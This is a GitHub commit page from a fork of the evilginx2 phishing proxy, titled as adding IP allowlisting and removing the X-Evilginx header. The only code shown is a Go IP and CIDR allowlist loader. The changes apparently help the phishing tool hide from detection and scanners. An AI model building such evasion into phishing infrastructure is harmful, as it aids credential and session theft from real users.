forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add allowlisting support and remove X-Evilginx header
- Loading branch information
Felipe Molina
committed
Sep 11, 2023
1 parent
a8d2cd3
commit 769cac9
Showing
4 changed files
with
151 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
package core | ||
|
||
import ( | ||
"bufio" | ||
"fmt" | ||
"net" | ||
"os" | ||
"strings" | ||
|
||
"github.com/kgretzky/evilginx2/log" | ||
) | ||
|
||
type AllowIP struct { | ||
ipv4 net.IP | ||
mask *net.IPNet | ||
} | ||
|
||
type Allowlist struct { | ||
ips map[string]*AllowIP | ||
masks []*AllowIP | ||
configPath string | ||
verbose bool | ||
} | ||
|
||
func NewAllowlist(path string) (*Allowlist, error) { | ||
f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644) | ||
if err != nil { | ||
return nil, err | ||
} | ||
defer f.Close() | ||
|
||
bl := &Allowlist{ | ||
ips: make(map[string]*AllowIP), | ||
configPath: path, | ||
verbose: true, | ||
} | ||
|
||
fs := bufio.NewScanner(f) | ||
fs.Split(bufio.ScanLines) | ||
|
||
for fs.Scan() { | ||
l := fs.Text() | ||
// remove comments | ||
if n := strings.Index(l, ";"); n > -1 { | ||
l = l[:n] | ||
} | ||
l = strings.Trim(l, " ") | ||
|
||
if len(l) > 0 { | ||
if strings.Contains(l, "/") { | ||
ipv4, mask, err := net.ParseCIDR(l) | ||
if err == nil { | ||
bl.masks = append(bl.masks, &AllowIP{ipv4: ipv4, mask: mask}) | ||
} else { | ||
log.Error("allowlist: invalid ip/mask address: %s", l) | ||
} | ||
} else { | ||
ipv4 := net.ParseIP(l) | ||
if ipv4 != nil { | ||
bl.ips[ipv4.String()] = &AllowIP{ipv4: ipv4, mask: nil} | ||
} else { | ||
log.Error("allowlist: invalid ip address: %s", l) | ||
} | ||
} | ||
} | ||
} | ||
|
||
log.Info("allowlist: loaded %d ip addresses and %d ip masks", len(bl.ips), len(bl.masks)) | ||
return bl, nil | ||
} | ||
|
||
func (bl *Allowlist) GetStats() (int, int) { | ||
return len(bl.ips), len(bl.masks) | ||
} | ||
|
||
func (bl *Allowlist) AddAllowedIP(ip string) error { | ||
if bl.IsAllowed(ip) { | ||
return nil | ||
} | ||
|
||
ipv4 := net.ParseIP(ip) | ||
if ipv4 != nil { | ||
bl.ips[ipv4.String()] = &AllowIP{ipv4: ipv4, mask: nil} | ||
} else { | ||
return fmt.Errorf("allowlist: invalid ip address: %s", ip) | ||
} | ||
|
||
// write to file | ||
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644) | ||
if err != nil { | ||
return err | ||
} | ||
defer f.Close() | ||
|
||
_, err = f.WriteString(ipv4.String() + "\n") | ||
if err != nil { | ||
return err | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func (bl *Allowlist) IsAllowed(ip string) bool { | ||
ipv4 := net.ParseIP(ip) | ||
if ipv4 == nil { | ||
return false | ||
} | ||
|
||
if _, ok := bl.ips[ip]; ok { | ||
return true | ||
} | ||
for _, m := range bl.masks { | ||
if m.mask != nil && m.mask.Contains(ipv4) { | ||
return true | ||
} | ||
} | ||
return false | ||
} | ||
|
||
func (bl *Allowlist) SetVerbose(verbose bool) { | ||
bl.verbose = verbose | ||
} | ||
|
||
func (bl *Allowlist) IsVerbose() bool { | ||
return bl.verbose | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters